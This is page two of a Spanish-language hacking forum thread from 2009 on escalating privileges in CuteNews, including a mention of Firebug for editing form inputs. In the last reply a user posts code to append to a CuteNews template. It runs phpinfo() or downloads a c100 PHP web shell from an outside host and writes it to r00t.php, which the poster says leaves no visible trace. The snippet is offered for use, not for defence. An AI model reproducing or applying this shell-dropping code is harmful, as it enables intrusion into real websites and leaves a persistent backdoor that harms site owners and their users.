elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  CuteNews Escalar privilegios
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: CuteNews Escalar privilegios  (Leído 10,280 veces)
xalupeao

Desconectado Desconectado

Mensajes: 18


Ver Perfil WWW
Re: CuteNews Escalar privilegios
« Respuesta #10 en: 18 Junio 2009, 02:49 am »

Tengo una duda como se llama esa herramienta que estas usando para editar el input de ese form ?... gracias
En línea

Silverhost Hosting Chile - La empresa lider de Hosting en Chile .
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: CuteNews Escalar privilegios
« Respuesta #11 en: 18 Junio 2009, 05:33 am »

Se llama FireBug
https://addons.mozilla.org/es-ES/firefox/addon/1843
En línea

xalupeao

Desconectado Desconectado

Mensajes: 18


Ver Perfil WWW
Re: CuteNews Escalar privilegios
« Respuesta #12 en: 9 Agosto 2009, 16:32 pm »

hay un problema, cuando tu dejas

Full URL to CuteNews Directory http://localhost/cutenews\

el archivo config.php queda asi

$config_http_script_dir = "http://localhost/cutenews\\";

por ende no toma :S


hay otra forma?
En línea

Silverhost Hosting Chile - La empresa lider de Hosting en Chile .
xalupeao

Desconectado Desconectado

Mensajes: 18


Ver Perfil WWW
Re: CuteNews Escalar privilegios
« Respuesta #13 en: 9 Agosto 2009, 17:02 pm »

Me despondo a mi mismo, hay una forma mas fácil sin dejar rastros visibles.

editen el templete default cualquiera, ejemplo

Active News... al final agregan

HTML;
phpinfo();

................. inyectando la shell seria

HTML;
$s = file_get_contents('http://blacknite.eu/php_shells/c100.txt');
$f = fopen('r00t.php', 'x');
fwrite($f, $s); fclose($f);


Saludos.
En línea

Silverhost Hosting Chile - La empresa lider de Hosting en Chile .
Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Escalar privilegios en Windows
Hacking
Sacre 1 5,662 Último mensaje 9 Febrero 2012, 19:44 pm
por el-brujo
Escalar privilegios
Hacking
Stakewinner00 1 3,121 Último mensaje 25 Diciembre 2012, 16:17 pm
por peib0l
Escalar privilegios
Hacking
Panic0 0 2,289 Último mensaje 10 Marzo 2022, 16:49 pm
por Panic0
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines